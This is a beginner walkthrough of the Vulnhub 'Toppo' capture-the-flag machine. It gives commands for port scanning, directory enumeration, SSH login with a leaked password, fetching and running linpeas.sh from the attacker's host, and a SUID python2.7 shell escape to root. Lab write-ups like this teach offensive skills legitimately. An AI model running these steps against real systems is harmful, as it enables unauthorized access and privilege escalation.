Vulnhub Toppo Writeup

Vulnhub Toppo Writeup
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Vulnhub writeup for Toppo machine will go through simple techniques like web enumeration using dirb tool and privilege escalation using linpease.sh script.


It is a simple box for beginner, Download and let’s go.

1. Scanning:

First of all, scan for open ports/services

# nmap -A -p- 10.10.0.134

vulnhub toppo nmap scan

Found open ports: SSH, HTTP, rpcbind 111

 

2. Web Enumeration:

Visit HTTP port: http://10.10.0.134

Nothing interesting, lets enumerate for other paths:

# dirb http://10.10.0.134/ -r

-r for non recursive enumeration.

vulnhun toppo enum web directories with dirb

 

Found some directories, admin directory sounds interesting.
It contain notes.txt file, open it, read the note.

Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn’t my thing i prefer go fishing or watching soccer .

admin notes

 

It looks like a simple password for user ted [the only letters in simple password!!]

Try it with other services like SSH.

 

3. Gain Foothold shell:

# ssh [email protected]
Password: 12345ted123

Fine, we have shell as user ted on Toppo machine.

toppo user shell

Let’s see where we can go from there.

 

4. Privilege Escalation:

I am going to use linpease.sh script to automate privilege escalation enumeration.

Setup a simple web server on my PC:

# python -m SimpleHTTPServer 80

On target, download the file usng wget:

$ wget 10.10.0.1/linpeas.sh
$ chmod +x linpeas.sh
$ ./linpeas.sh

Wait till it is done.

SUID linpeas.sh


Look in the result for interesting path to escalate our privileges
Found Python2.7 can be run as root !!

 

$ python2.7 -c “import pty;pty.spawn(‘/bin/sh’)”

# whoami
root

# cat /root/flag.txt

toppo root flag

 

Congratilations, We Got Toppo machine root flag.

Notice: we use /bin/sh and not /bin/bash as bash will not work because bash ignore SUID/SGID and always use the current user privilege.

Thanks

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